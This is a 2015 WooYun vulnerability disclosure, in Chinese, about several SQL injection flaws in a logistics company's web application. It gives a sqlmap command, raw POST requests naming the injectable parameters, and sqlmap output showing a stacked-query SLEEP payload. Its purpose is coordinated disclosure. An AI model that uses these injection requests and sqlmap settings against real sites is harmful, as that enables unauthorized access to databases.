当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0162661

漏洞标题:佳吉快运物流多个SQL注入打包

相关厂商:佳吉快运

漏洞作者: 路人甲

提交时间:2015-12-20 21:28

修复时间:2016-02-04 17:47

公开时间:2016-02-04 17:47

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-20: 细节已通知厂商并且等待厂商处理中
2015-12-24: 厂商已经确认,细节仅向厂商公开
2016-01-03: 细节向核心白帽子及相关领域专家公开
2016-01-13: 细节向普通白帽子公开
2016-01-23: 细节向实习白帽子公开
2016-02-04: 细节向公众公开

简要描述:

RT

详细说明:

第一处

**.**.**.**/ac01.aspx?id=%2527


sqlmap.py -u **.**.**.**/ac01.aspx?id=%2527 --level 3 --risk 3


第二处

POST /inside.php?t=json&m=user&f=login HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**/
Content-Length: 22
Cookie: PHPSESSID=vr96fmq9tg5320dm4kg3cssln1; blackbird={pos:1,size:0,load:null}
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
username=1'&password=1


注入参数username
第三处

POST /inside.php?t=json&m=order&f=index HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**/order/index.html
Content-Length: 108
Cookie: PHPSESSID=vr96fmq9tg5320dm4kg3cssln1; blackbird={pos:1,size:0,load:null}; cnex2cookie=81942%7C8a153caa07baeae3992d1315f7afc12d
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
page_no=1&page_size=20&sortname=undefined&sortorder=undefined&query=&qtype=&qop=Eq&status=1&delegatebillid=1


注入参数delegatebillid

漏洞证明:

这里就举一处

sqlmap identified the following injection points with a total of 1453 HTTP(s) re
quests:
---
Place: POST
Parameter: delegatebillid
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: page_no=1&page_size=20&sortname=undefined&sortorder=undefined&query
=&qtype=&qop=Eq&status=1&delegatebillid=1'; SELECT SLEEP(5);-- AND 'qdGT'='qdGT
---
[12:24:15] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.27
back-end DBMS: MySQL 5.0.11
[12:24:15] [INFO] Fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\**.**.**.**'

修复方案:

转义

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-12-24 18:09

厂商回复:

CNVD未直接复现所述情况,暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无